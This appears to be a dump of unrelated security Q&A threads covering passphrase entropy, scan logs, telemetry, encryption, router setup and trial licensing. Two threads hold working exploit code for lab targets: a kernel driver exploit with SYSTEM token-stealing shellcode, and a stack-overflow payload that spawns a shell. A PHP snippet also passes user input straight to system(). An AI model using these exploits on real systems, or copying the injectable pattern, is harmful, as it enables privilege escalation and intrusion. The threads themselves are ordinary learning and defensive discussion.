You can make the assumption any changes would be easily memorized. I'm mostly curious if a passphrase provides enough entropy on its own that the traditional strategies for entropy are no longer relevant. As an example, is the second password here pragmatically any better than the first?

mydoggoShrekate7bonesyesterday
myd0ggoShr3k4te7bon3$yesterd@y

(Also, please don't just suggest a password manager. I have my reasons for wanting to avoid one.)

If memorability and readability is your goal, then the second version of your password (that is: myd0ggoShr3k4te7bon3$yesterd@y) is much more difficult to memorize, read, and communicate. So yes, it will definitely hamper and slow down most bruteforcing attempts based on word lists, but at the expense of memorability and readability.

It's hard to calculate the entropy of your password. I'm not sure I'm able to do it, but I'll try anyway, and if I'm wrong somebody will correct me.

If you google for "entropy of English sentence", you can find some articles citing Shannon's experiment to calculate the entropy of English. From what I read, it seems that on average the entropy can go from 0.6 bits to 2.5 bits per letter, depending on a lot of factors. Let's suppose your sentence has 1.5 bits per character. Some letters will have higher entropy because of your made-up words, other letters will have a lower entropy because they are part of very basic English words, so let's suppose on average it's 1.5 bits per character anyway.

30 characters x 1.5 bits = 45 bits

Now let's transform the pass phrase. For simplicity, we suppose we basically need to pick 7 letters and translate them to leet. Supposing only half of the letters have a leet equivalent, we need to pick 7 letters out of 15. And we need combinatorics, which if I'm not wrong (it's been a long time since math classes, sigh) leads to this:

15! / (7! (15-7)!) = 6435 possible groups of leet letters.

So to guess your leet password all those possibilities need to be bruteforced for each sentence, meaning that will add 12.65 bits of entropy (that is, log base 2 of 6435). It's a rough estimate, for example I didn't consider the fact that "a" in leet can be either "@" or "4", but I just assumed that every translatable letter could be translated to only one equivalent.

So, to recap, if I'm not wrong, and in an ideal world where the attacker knows how you build your passwords and where password crackers are optimized for the entropy of the English language instead of just bruteforcing ungrammatical bunches of words, we have the following entropies:

30-character sentence: 45 bits
30-character leet sentence: 57.65 bits
40-character sentence: 1.5 x 40 = 60 bits
5-word diceware pass phrase (about 30 characters) = 12.9 x 5 = 64.5 bits

Conclusion: I'd suggest using a longer sentence or better yet a true random pass phrase like diceware or similar, so you can easily achieve both higher entropy and at the same time readability and memorability.


Targeted .git scanner? Starting yesterday, my honeypot has been getting a ton of git scans. I normally wouldn't think much of this, but a few weird things are happening:

All of the IP addresses come from Amazon AWS
They are all looking for the same two SHA-256 hashes
They don't appear on any blocklists for .git vulnerability scanning or scanning on TCP/80
They scan in 10-20 minute intervals, 24/7 starting yesterday

Here is one of the requests:
13.53.169.41 - - [13/Mar/2021:02:50:00 -0500] "GET //.git/objects/d4/76022a4dfadca6614620e5c15a17ae5cf8a80a HTTP/1.1" 404 179 "-" "curl/7.61.1"

What is the deal with this? Why are they searching for a specific hash?
If I was going to scan the internet for open .git folders, I would search for a generic config file for header file, not a random hash.
I don't care much about this traffic, I'm just curious as to why I'm seeing what appears to be almost a coordinated attack.

Just a guess, but somebody may be looking for machines where a specific piece of software has been installed using git. It could be software that has a vulnerability, that they are seeking to leverage. In other words, a reconnaissance effort.
Interesting that they didn't even bother to spoof the user agent.


Is there evidence to proof that Windows is spying us ? Are the anti-spy programs works and are they trustable? Are there any evidences that Windows is spying the users ? Let's focus on Windows 10. I am almost sure it does. The things like telemetry and Cortana... However I never saw a proof like university proof or catch Microsoft red-handed and recorded on video which then could be posted on some website.
The second question is related to the applications that claims to block Windows from spying the user. One of the such an application is Windows Anti Beacon. I made a research about such an applications about a year ago. Is there evidence that such an application was spying on its own ? Are they successful in what they claim to do ? Any reliable testing was done and publish online ?

There is plentifull evidence that windows sends large amounts of telemetry to Microsoft. As for how they use the data, no. There is not and likely never will be any evidence of how they use the data they collect.
For anti-spy software, it is next to impossible to make sure it works. Even if there was a paper proving it works on one version of windows,  that research would be invalidated with the next update.
To verify an anti-spy program is not spying, check your firewall. A blocker program has no business sending anything more than few bytes over the network. Most that it should do is check for updates and maybe validate license, which should be small transfer at most once in a few hours.


How to accept user input for use in terminal safely? I found a vulnerability, and I'm not sure how to patch it. I currently accept input from the user and use it to create a terminal command which I run on the server. Here's the code simplified.

// Get user input
$monochromeThreshold = $_POST['monochromeThreshold'];
$originalFile = $_POST['originalFile'];
$monochromeLocation = $_POST['monochromeLocation'];

// Create command
$command = 'convert -density 150 -threshold ' . $monochromeThreshold . '% -fuzz 1% -transparent white ' . $originalFile . ' ' . $monochromeLocation;

// Execute command
$out = system($command);

Is there a way to sanitize the user input or take other actions prevent injection into the terminal with confidence?

Php has some escape functions for using user supplied data in commands, escapeshellcmd1 and escapeshellarg2. There are however some limitations when using these functions. If used with a command that has unsafe command line switches. I wrote a detailed blog post about it 3.

You should also ensure your imagemagick installation is up to date and configured correctly to prevent exploitation of the recent imagetragick 4 and popen() 5 vulnerabilities.


Securing Apartment Wifi I recently moved into a new apartment, and with rent "free fiber connection" was included. I was skeptical, but the building location and proximity to my office was a no brainer. Now I'm regretting it.

There's numerous issues with this setup, and I'm regretting passing off my wifi connection to the building to manage just to save a few bucks.

Here's a few things that bother me:

All of the SSIDs are the APT #'s. This was an immediate red flag - every internet connection is directly identifiable to an apartment unit. I see this as a huge security flaw, yet their technical support just blew that off.
I cannot change the SSID, or configure the router settings at all.
The network password was given to me - and I cannot reset it (because they need access). I have a feeling it's the same password the last resident had.

I do have access to the router itself, and I'd like to use a second router to build a new Wireless Access Point that acts as a VPN. I'm a totally security noob, so I'm having trouble finding a solution that I can implement without having access to the router configuration panel.

I'd like to implement a hardware VPN here, as opposed to just a software solution. I work in software so I'm very capable in the command line, but my networking skills could use some work.

Any suggestions would be appreciated! Thanks!

EDIT - To answer some of the comments. I am not looking to prevent a specific attack, nor am I a true "person of interest" for hackers. This is just the first time I've been given and router and told "Use this password". I am a web developer and manage a lot of AWS instances for various clients, so in general I'm concerned about leaked keys and identity theft.

I also confirmed that the password is the same default password that came on the router, which would confirm my suspicion that the last resident also had this password.

At this point, I've ordered a new router and am going to try and wire that up when it comes in tomorrow. I've also considered getting a USB VPN/Access Point and connecting to that exclusively at home.

As you say, you cannot change the settings of the router and it is not your device. So treat it as that: Not part of your network!

Buy yourself another router that connects to the one you are provided with using (preferably) a network cable or if not possible WiFi. Configure that to treat this connection as WAN (the Internet) and to create a different wifi network for you, where you connect your devices.

If you want, you can configure your new router to build a VPN connection and send all traffic through that. Downsides are, it costs money and latency and bandwidth are worse. You shouldn't send anything unencrypted via the internet anyway, so I would consider that optional.

The important part is:

None of your devices should be connected to the provided router and wifi, only to your new router.
your new router should see the network of the provided router as external network
a device connected to the provided network shouldn't be able to access any device in your internal network.


Assigning memory address of shellcode to buffer (for buffer overflow input) I am attempting to exploit HEVD kernel driver buffer overflow challenge:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
However when running the below code my windows 7 machine doesn't execute the desired shellcode (assign current process with SYSTEM token):
#include <windows.h>
#include <stdio.h>

int main(void) {
    char *buf = malloc(2084);
    RtlFillMemory(buf, 2080, 0x41);
    HANDLE driver_hndle = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);

    //unsigned char payload[] = "\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61\x5d\xc2\x08\x00";
    unsigned char payload[] = {
        0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
        0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
        0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
        0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
        0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
        0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00
    };

    size_t payload_sz = sizeof(payload);
    LPVOID payload_ptr = VirtualAlloc(0, payload_sz, 0x3000, 0x40);

    RtlMoveMemory(payload_ptr, payload, payload_sz);

    DWORD* address_field = (DWORD*)(buf + 2080);
    *address_field = (DWORD)(&payload_ptr);

    DWORD size_return = 0;
    DeviceIoControl(driver_hndle, 0x222003, buf, sizeof(buf), NULL, 0, &size_return, NULL);
    free(buf);

    return 0;
}

I believe the issue is: Pointing the last 4 bytes of buf to the memory address returned from VirtualAlloc. I've also tried:
memcpy(buf + 2080, &payload_ptr, sizeof(payload_ptr));

Being this shellcode is universally capable of being executed on any windows 7 machine, I do not believe the issue lies within the shellcode. I've tested the shellcode within a python poc with the expected results (nt authority/system cmd.exe opening). The shellcode steals the token of SYSTEM process 0x4 and assigns it to a new cmd.exe process and spawns it. Can anyone help me understand what I'm doing wrong here?

The issue was because I was not spawning a cmd.exe process via _popen or system post shellcode execution.


Google and yahoo: what criteria do they use to qualify a "new device"? So, I have two computers and I use my smart phone's internet on those computers. Yahoo during a brief period actually locked me out of my account because "try logging in on a device i normally log in on", and I constantly get security alerts from google for logging into my gmail on my smart phone. For example, today I downloaded mozilla because of a I encountered when trying to download something off google drive, and then when I downloaded the file off mozilla my phone sent me another security alert.

So this begs the question: what data is analyzed by these corporate robots to determine what is "a new device"? Is there a simple command that will show all this information in windows?

The true answer is only going to be known by Google and Yahoo!, respectively, but we can guess.

In order to determine if you've logged in from a device before, the service provider would either need to store a unique identifier on a device, or do some sort of fingerprinting.  As far as storing a unique identifier goes, the simplest way to do this would be to write a cookie using the browser.   If they are doing some sort of finger printing, there are a couple of datapoints they could use:

IP Address
Browser's User Agent String
Other types of browser fingerprints (too many to list.)

Browser fingerprinting is a vast subject, and there are too many possible options to list here, and it's likely that they use a combination of them to determine a unique fingerprint.  As far tools go, I am not aware of any simple commands which can give you all of the possible options.  It would be a matter of examining the HTTP Requests, and seeing what information is sent to the server.


What was the aim of this invalid HTTP request that tells a story about goats in the request URI? I currently run an Apache HTTP server, and have set up monitoring to receive emails whenever an error appears in the error logs. I get the usual trying to find if I'm using HTTP 1.0 and trying to see if I'm using off the shelf software like WordPress that can be exploited.

Over the weekend I saw a new entry in my error logs and was wondering what the potential exploiter was trying to do (Abcdef is i'm guessing the exploiters handle (I have changed)):

:[DATE] [error] [client XXX.XXX.XXX.XXX] Invalid URI in request HEAD towards the green fields outside. Watch the goats chewing the grass. What is the meaning of life? Life isn't about getting to the end. Goats know this. You should know too. Goats are wise. Goats are cute. Listen to them! This is the message. Love goats, love the Internet! \xf0\x9f\x90\x90 Abcdef. HTTP/1.0

Now apart from obviously telling me about their love for goats, can anyone determine was the aim of this request was. I tried to google part of the string.. and just ended up with results about goats!

I guess that the idea was to provide a URI which would cause an overflow resulting in something do with the unicode at the end, but am unsure.

NOTE
I have made the giant assumption that the request did have nefarious means due to the chars at the end of the request, hence posting in Security rather than Server Fault.

I don't know what the REDACTED part consisted of, but I can tell you that the bytes \xf0\x9f\x90\x90 correspond to a picture of a goat in UTF-8:

Here it is:

Note: On a whim, I also looked up the Intel opcodes corresponding to these byte values. They don't do anything interesting at all — 0x90 is NOP (does nothing), 0x9f is LAHF (load FLAGS into AH register), and 0xf0 is LOCK (which will raise an illegal instruction error when followed by LAHF).


Website Certificate with different public key I've installed a ssl certificate from https://www.startssl.com/ in a server running with plesk. The website is the following: https://refood.sal-pimenta.pt/

As you can see the certificate is fine but not that good in terms of security (sha1 and 2048 Bits key), and this fact is pointed out if you use Chrome.
This is really odd because the certificate I have in my PC, the one I uploaded to the server, as sha256RSA for signature with a key of 4096 Bits.

I checked the public keys and they are obviously different, as well as the certificate CA.

Is this normal? Thanks for your time and I'm sorry if this not that related to cryptography but it seemed the right place to ask.

This would have been better here.

However we can still answer your question.
I inspected the site you referred to and the reason, why chrome shows you a security warning is because the intermediate certificate of StartSSL uses SHA-1 for signature-hashing.

Your certificate is in fact SHA-256/RSA-4096 as claimed, but because one certificate in the chain (the intermediate certificate) is "weak", the whole chain is considered "weak" and hence you get a warning.


Syscalls are disabled with seccomp. What attacks are still possible? How to prevent them? I want to run a piece of untrusted code on my machine.
I've disabled all syscalls (besides exit, sigreturn, read and write) with seccomp for a process. Now, I'd like to spawn a child process that will execute the untrusted code.

What attacks are still possible?
How to prevent them?

It really depends on what the file descriptors are connected to.
If they're connected to a terminal, they could be used to modify the terminal including, depending on the configuration of the terminal, executing arbitrary code.  They could also exhaust memory if they're run inside a terminal emulator that has a large backscroll.  If they're connected to files, they can be used to write malicious data that will exploit other programs when read or consume excessive amounts of disk space.
If they're connected to sockets, either directly or through standard input, output, and error over SSH, they can be used to send malicious data elsewhere, such as to exploit vulnerabilities in remote servers, or they can be used to use excessive amounts of network bandwidth, starving more important traffic and potentially causing a DoS.  They could also be used to engage in part of a DDoS attack if they're certain types of sockets.
Note that "malicious" here doesn't just mean an attempt at a buffer overflow or code execution.  It could mean sending data that is intentionally random so as to cause a receiving process to spend excessive resources in error handling.  It could mean sending normal amounts of data in very small chunks so the remote system has to spend excessive resources in processing network packets or parsing the data.  In this sense, you would need to consider anything that causes undesired operation or unpleasant consequences, including a DoS.
In any case, if the process just refuses to read, that can cause a bunch of inconvenience and backups in other areas and could lead to a DoS.  Similarly if other processes expect to read from your malicious process and it refuses to write anything.
How you stop these really depends on what your file descriptors are connected to.  You'll need to consider what happens if the output is voluminous and also what happens if it's specially crafted to be malicious in order to exploit the things that will interact with the output, as well as what happens if your process refuses to read or write anything.


Firewall doesn't support TLS 1.2 I have an ASA 5550 firewall that doesn't support TLS 1.2.

What impact would we have when the older protocols are disabled? Will this affect the servers at all?

The link provided by Schroeder is your answer to this one.

As a side note, looking at the data sheet for your ASA I would heavily recommend moving over to something new(er) - they stopped selling those back in 2013 and they lose support Sep-2018 in this case rather than just constantly upgrading all the time to get the latest features my best advice would be, replace that device.

Once Cisco stops supporting it (Sep-2018) you're going to have an incredibly hard time with getting support if something goes wrong, etc and that is a place you don't want to be (From experience) it's better to just upgrade entirely in this scenario.


How can PHP unserialize() object injection be used to bypass authentication? So I came across with this authentication bypass security notice and the fix for it was just simply changing all serialization to json encoding.

I am just wondering how is this really exploitable? I know that unserialize() can be used to perform object injection. But how can it be used to exploit this vulnerability be used to bypass authentication?

unserialize allows the creation of arbitrary object constructs of any class with arbitrary attributes. During deserialization, the lifetime of an object, and the interaction with the object, several methods including magic methods may get called using these arbitrarily definable attributes. An attacker may be able to utilize the functionality provided within these called methods for his benefit.

In the end, the exploitability of such a vulnerability solely depends on the available classes and their functionalities. Have a look at the Observed Examples and References section of CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes for examples and further information.

And since the mentioned vulnerability in FreePBX is accessible without authentication (it actually happens during the authentication process), one may say that it bypass authentication.


nmap finger print looks alot like shell code and not what's on nmap.org my concern is the finger print at the end could someone please explain what it is, thanks (looks like a nop sled and buffer overflow )

bash >> nmap -sS -sU -T4 -A -v 192.168.50.1

Nmap scan report for router.asus.com (192.168.50.1)
Host is up (0.0032s latency).
Not shown: 950 filtered ports, 911 open|filtered ports, 136 closed ports
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND
53/udp   open  domain  (generic dns response: NOTIMP)
|_dns-recursion: Recursion appears to be enabled
| fingerprint-strings:
|   NBTStat:
|     CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|_    root-servers
5353/udp open  mdns    DNS-based service discovery
| dns-service-discovery:
|   9/tcp workstation
|_    Address=192.168.50.1
1 service unrecognized despite returning data. If you know the         service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.70%I=7%D=6/12%Time=5B204969%P=x86_64-pc-linux-gnu%r(DNSS
SF:tatusRequest,C,"\0\0\x90\x84\0\0\0\0\0\0\0\0")%r(NBTStat,1D5,"\x80\xf0\
SF:x80\x90\0\x01\0\0\0\r\0\r\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x0
SF:1\0\0\x02\0\x01\0\x03\xabM\0\x14\x01e\x0croot-servers\x03net\0\0\0\x02\
SF:0\x01\0\x03\xabM\0\x04\x01f\xc0\?\0\0\x02\0\x01\0\x03\xabM\0\x04\x01g\x
SF:c0\?\0\0\x02\0\x01\0\x03\xabM\0\x04\x01l\xc0\?\0\0\x02\0\x01\0\x03\xabM
SF:\0\x04\x01k\xc0\?\0\0\x02\0\x01\0\x03\xabM\0\x04\x01i\xc0\?\0\0\x02\0\x
SF:01\0\x03\xabM\0\x04\x01j\xc0\?\0\0\x02\0\x01\0\x03\xabM\0\x04\x01c\xc0\
SF:?\0\0\x02\0\x01\0\x03\xabM\0\x04\x01d\xc0\?\0\0\x02\0\x01\0\x03\xabM\0\
SF:x04\x01m\xc0\?\0\0\x02\0\x01\0\x03\xabM\0\x04\x01a\xc0\?\0\0\x02\0\x01\
SF:0\x03\xabM\0\x04\x01h\xc0\?\0\0\x02\0\x01\0\x03\xabM\0\x04\x01b\xc0\?\x
SF:c0\xe3\0\x01\0\x01\0\x04\xb2\xd1\0\x04\xc6\)\0\x04\xc1\x01\0\x01\0\x01\
SF:0\0Mg\0\x04\xc7\t\x0e\xc9\xc0\xb6\0\x01\0\x01\0\x004\xa2\0\x04\xc0!\x04
SF:\x0c\xc0\xc5\0\x01\0\x01\0\x01\xc1\xf9\0\x04\xc7\x07\[\r\xc0=\0\x01\0\x
SF:01\0\x004\x93\0\x04\xc0\xcb\xe6\n\xc0\\\0\x01\0\x01\0\x01\xc1\xeb\0\x04
SF:\xc0\x05\x05\xf1\xc0k\0\x01\0\x01\0\x05\x91a\0\x04\xc0p\$\x04\xc0\xf2\0
SF:\x01\0\x01\0\x05\x91\x92\0\x04\xc6a\xbe5\xc0\x98\0\x01\0\x01\0\x05r\x8d
SF:\0\x04\xc0\$\x94\x11\xc0\xa7\0\x01\0\x01\0\x004\xaf\0\x04\xc0:\x80\x1e\
SF:xc0\x89\0\x01\0\x01\0\x05\x91\xa2\0\x04\xc1\0\x0e\x81\xc0z\0\x01\0\x01\
SF:0\x05\x91Q\0\x04\xc7\x07S\*\xc0\xd4\0\x01\0\x01\0\x02\xba\x11\0\x04\xca
SF:\x0c\x1b!");

In some cases, nmap will get data back in response to port probes and be unable to match it to anything in its fingerprint database.  When that happens, it will print the data for you to examine in case that helps you.  Since for many ports and protocols the data received by nmap is binary (e.g., not just ascii), it gets hex encoded as you see above.  Otherwise it would be unreadable and probably make a mess printing to the screen.

The fact that binary data is reduced to \x hex encoding for both binary malicious payloads and binary service response data is due to the fact that they're both binary... nmap's output is not an indication that it's malicious.


Processing sensitive user data on a server without the possibility of data theft? I have written an application which I would like to offer via REST API to customers.

In the task which is executed on the server there is some sensitive user data involved, e.g. the user's login to a third party service.
There is no way to execute the transaction client side as the code which handles this data must stay proprietary.

Now a user of my API would have to trust me that the service does not steal his data.
But is there any way to process such data in a trustless way? I would really like to guarantee my customers that data theft is impossible.

If I understood correctly, no. You're logging in and retrieving data on behalf of your customer.

The best you can do is use delegation, as Adam Luchjenbroers commented, but even then you would still have access to the user's data (albeit not their login). If this is acceptable then Adam supplied the answer. If not, uses will have to take you at your word.

If the third party service supports encryption and you do not need to actually interpret the third party data, you might implement that decryption client side and reassure customers that while you could steal their data, they are theoretically capable of verifying whether you do (by reverse engineering the client code in their possession and ensuring its current version is not transmitting the deciphered data, or your decryption key, anywhere).


Trial version security I am developing stand-alone software in BDS 2006.  I want to provide a trial version for 6 months -- the user can use it for just 6 months, but no more on a particular system.

I have handled most cases but I do not know how to handle some other cases   including:

1. On formatting a pc

This is because I am saving the encrypted data (no. of tries,and other releted info) in a file and in the registry.  On format these will be lost so if the user uses software for 6 months and formats the pc and reinstalls again he will get to use the software for another 6 months.

2. Stopping the time so that to use Trial Version software forever without Expiration.

There are some s/w available which will stop the clock to use the software forever.  I found solution to this by tracking the number of tries.  If the number of tries exceeds a limit it will not allow the application to run, but I still want to prevent the user from resetting the date.

EDIT1

If I get the hardware details while downloading and saving it in database and checking on every download whether I have seen that h/w configuration to deny access.

In this case the user can download from other systems (so obviously h/w details will not match and he will be able to download and reinstall on the system).

Does anyone have any ideas?

I am saving the encrypted data (no. of tries,and other releted info) in a file and in the registry.

If your users are tech savvy, you won't be able to squirrel away information in the registry without them noticing.  They can simply roll back to an earlier version of the registry entry.

Microsoft tried device fingerprinting by storing device characteristics in wpa.dbl.  I haven't managed a Windows machine in a while, so I don't know how well it works, if it's used on Windows 7, or whether that file is readable by other processes.  I do recall that they had to do a bunch of work to make the device fingerprint robust against minor changes to devices.

  In its simplest form, activation (on a Net-connected PC) is a matter of sending a unique code from your PC to a server at Microsoft. That server then returns an activation code, which allows you to keep using the operating system. The unique code belongs to your computer alone and acts as a flag to Microsoft if your copy shows up on another PC or you significantly alter some part of your PC.
  Fully Licensed, a software-licensing technology firm in Germany, figured out how the process works and shared the details with the world. Activation starts with an Installation ID--a packet of encrypted data containing the 25-character XP serial number combined with hardware information--which is sent to Microsoft over the Internet. While you have the option to register your copy of XP (that is, send personal information to Microsoft separately from activation) during the activation process, Fully Licensed verified that no personal information is gathered, stored, considered, or transmitted during activation. The registration process, on the other hand, does collect personal data, such as your name, address, and e-mail address, but as a separate process that is not required for activation. If your PC isn't connected to the Internet when you install or activate XP, the OS presents the Installation ID on your screen, and you must read it over the phone to a Microsoft customer service person. (A special program, called msoobe.exe, creates the ID.)
  At Microsoft's activation server, a program checks the ID to verify that the data arrived intact and that the product ID has not been used with a different hardware fingerprint (that is, another computer). XP stores the system fingerprint on your PC in a file named wpa.dbl. From now on, whenever you reinstall that copy of Windows, the Microsoft server compares the original system fingerprint and OS serial number created at first activation with the current system fingerprint for that product serial number.

  If the product ID and hardware fingerprint from a new installation are not significantly different from a previous activation, the activation server generates a 44-digit Confirmation ID code and sends it back to your PC.

It looks like there are other commercially available device fingerprinting solutions on the market.

So if you can derive a device fingerprint or piggyback off the MS activation one, you could encrypt it with a private key on a server, and have your software check it with a public key embedded in the software so that the machine need not be reliably connected to the network for your software to start.

None of this helps though if the Windows install is inside a virtual machine where devices are virtualized.

Alternatively you could try non-hardware fingerprints.  I vaguely remember some Berkeley folk coming up with a way to identify personal machines even when Tor was running by looking at the fonts installed.  Many Windows programs carry fonts, fonts are rarely uninstalled, and fonts are available to browsers, so by looking at particular font versions they could come up with a reasonably reliable fingerprint.  That might survive reimaging, assuming the user of your software wants to keep running other programs on the same machine.

http://panopticlick.eff.org/browser-uniqueness.pdf

  In general, plugins and fonts are the most identifying metrics...

  We tested the hypothesis that font orders are informative, by checking to see
  if any returning, cookie-accepting users had font lists whose order had changed.

Just keep in mind that sending this information to a server, even in digest form, might be something you need to seek user consent for ahead of time.


How long are password hashes stored locally? Suppose Alice logs into Windows machine M (which is part of an enterprise network managed through Active Directory).  My understanding is that M will contact the domain controller to get Alice's password hash, store it in the local SAM or NTDS.dit, and use it to verify Alice's login.  (Tell me if I got that wrong.)

How long is the password hash retained locally?  Once added, does it stay there forever?  Or does it get automatically deleted after a certain period; and if so, how long is that period?

(Motivation: I'm trying to understand the security risks of password hashes stored in the SAM.)

Your understanding isn't quite right.  If a domain user is authenticating to a domain member server using Kerberos then their password hash won't be sent there.  Kerberos only requires the hash to be sent to a domain controller, which maintains the domain account database.  And technically the hash itself isn't even sent to the DC.  Then Kerberos issues a service ticket to the user and the user sends that ticket to the member server to prove their identity.  So user credentials are never added to the local server account database (SAM) due to logins.

Depending on whether you are worried about cached credentials being temporarily stored in memory on member servers there are some other scenarios where a user's password hash might be transmitted to that server.  But password hashes will only ever exist in local account databases if they were specifically added with accounts created by an Administrator.


Full disk encryption for server running virtual machines I have a question about how to properly set up full disk encryption on a server running virtual machines.

My setup is Windows 2012 with 2 VM's(Hyper-V) on it.

I was looking into using Becrypt for full disk encryption.

Would it be sufficient to run full disk encryption just on a host?

or should I run it on host and on each VMs?

Bitlocker with Active Directory integration is probably best for Windows Server 2012.  Your primary problem with FDE on servers is the requirement for boot time passwords with things like Becrypt, TrueCrypt, PGP.  Boot time passwords generate extra work for your network ops.

Encrypting inside the VM is usually unnecessary. What are you defending against? Full Disk Encryption is usually a defence against the disks or the whole device being physically stolen.  In a typical scenario, a VM host server and the VMs will powered on and disks decrypted 24/7, inside a physically secure environment such as a data centre.  But even if your physical server is vulnerable to theft, the VM data will be encrypted any time the physical server is encrypted.

The only occasion I can see where the FDE in the VM would be useful is to protect a backup of the VM - providing the VM was shut down properly before backup.  But it would be better to encrypt the whole backup.

Of course if you are in a regulatory environment where FDE is required for legal reasons then you just have to get on with it - I would use Bitlocker.


Is it possible to make a different encryption for a phone communication? I wanted to know if maybe it's possible to make a phone communication more secure than the current A5/1 (used for GSM).

Or maybe create a special tunnel between two phones. I mean like an ssh connexion or something like that.

I'm no expert at all but I just know that GSM communications are encrypted but not strong enough.

As the encryption is between terminal and MSC (mobile switching center) you can't by self change the encryption method because MSC will not understand it and will not be able to provide voice to your partner in conversation.

Of course you can use data channels (data trafic) and creating own application to implement desired encryption method. But to establish communication with your partner you will need a lot of infrastructure

P.S. You can't establish own radio communication as this will involved usage of specific radio bandwidths which are (usually) under government control

P.P.S. Some frequencies are free for personal usage (2.4GHz for example) but you are limited by law (usually maximim of 100 mW) so you will have relatively small coverage for calls


C program Segmentation fault exploit I have a vulnerable program in c which copy argv into a buffer and then print it:

# include <string.h>
# include <stdio.h>
# include <stdlib.h>

void func(char * arg){
   char name[32];
   strcpy(name, arg);
   printf("\n Welcome %s\n\n", name);
}

int main(int argc, char *argv[]) {
    if (argc < 2){
       printf("Use: %s Name\n", argv[0]);
       exit(0);
   }
   func(argv[1]);
   printf("End\n\n");
   return 0;
}

I have compiled it with gcc with no stack protector and execstack, then I have used gdb to see the memory point where I should change the EIP. But I have noticed that the shellcode is executed (the exploit works) only when I'm in gdb but outside it doesn't work.

Works:

$ gdb ./prog -q
(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"'`
$ whoami
user

Doesn't work:

$ ./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"'`
segmentation fault

Why this happens? I think that this code should work outside gdb, too.

It's possible that GDB is messing with your memory layout at runtime, making everything line up as you need it to.  It might be worth ensuring that core dumps are created then use GDB to do some post-mortem debugging to see if your code is actually being hit.

Alternatively EIP may be being set as expected but your payload may have moved, in which case consider a NOP sled and aim EIP for that.


What if a browser does not understand the secure flag of a cookie? I have two related questions:

As HttpOnly attribute is understood by a set of modern browsers, I was wondering if there is a list of all browsers which support the secure flag of the cookie?
What would happend if a browser does not support the secure flag but an application sets it on the cookie?

I've not seen a formal list of browsers which support secure but definitely in my experience all the recent iterations of popular browsers do.

My guess for what would happen if you found a browser that didn't support the flag, in the event that it was passed, is that it would just ignore the flag, although I suppose it would also be possible that it would ignore the whole cookie.

If you wanted to test it, one option might be to try setting a junk flag on a cookie (say with a random name) and see how browsers react to it.

Overall I'd say it's unlikely to be a problem unless your application is supporting very old or obscure browsers.


What's the point of encrypting /boot or / partition? I'm not talking about full disk hardware encryption. I'm talking about software encryption.

encrypting /home prevents your data after your laptop is stolen. As far as I understand, encrypting / and /boot is supposed to protect against running malware that steals your passwords (Evil Abigail). But that can only work when there is a fully secure and signed boot process (UEFI, bootloader, kernel). And (at least currently) it's not the case. So what protection does it give?

It prevents accidental leaks of private data that is copied around.

For example, if /tmp is on the / partition, files from your encrypted /home partition could be copied to the unencrypted /tmp, thereby making them accessible to an attacker.

By encrypting the entire system, you avoid this channel.


Using GET request to find html file I'm doing a basic CTF at the moment. Using,

GET / HTTP/1.1

Host: subdomain.domain.com

I am getting the response:

follow this link to get easy flag (manual work)
follow this link to get harder flag (automatic work)
follow this link to visit human calculator

Now I assumed to find the flags, I would change my GET requests to the following:

GET /c98efc0d-5c3f-45ec-996a-2cb82d35ed26.html HTTP/1.1

Host: subdomain.domain.com

Result from this request

and

GET /deep/ HTTP/1.1

Host: subdomain.domain.com

Result from this request

What am I missing here?

Since GET /c98efc0d-5c3f-45ec-996a-2cb82d35ed26.html HTTP/1.1 returns a 400 Forbidden, but an href link before the header, you should follow those hyperlinks.

You are on the right way by using CURL or similar instead of a normal browser as a normal browser would show a 400 Forbidden screen but not the link that was sent to it before.

Just write a small script that will follow those requests while there is a link in the response.
If you post the actual link of the CTF we might be able to give more specific answers.


Protecting vs Securing I encountered a question "true or false, replication is NOT a way to protect data". I answered true since I felt that protecting data meant securing the network and preventing unauthorized access to the data, and simply replicating it would not "protect" it. I was told that I was wrong and that replication would fall under protection and not security. What is the difference between these 2 terms?

Protecting data is part of information security. It falls directly under:

confidentiality
integrity
availability

In your case, replication is probably more aimed at availability. In this particular case it would depend how people define secure and protection in terms of data. So in my opinion, if you get such a question, also include your understanding of what security is and protection is.


windows security alert windows firewall has blocked some features of this program message coming for every new build of my application I made an application which uses ftp so windows shows  windows security alert windows firewall has blocked some features of this program message for every new version of my application any idea how to fix this so user does not have to press unblock for every new build of my application?

I publish my application using visual studio publish option & new version get pushed to client machines automatically. details for this deployment are here

e.g.
For 1.2 version it will only ask for windows firewall permissions only once but for 1.3 it will ask again.

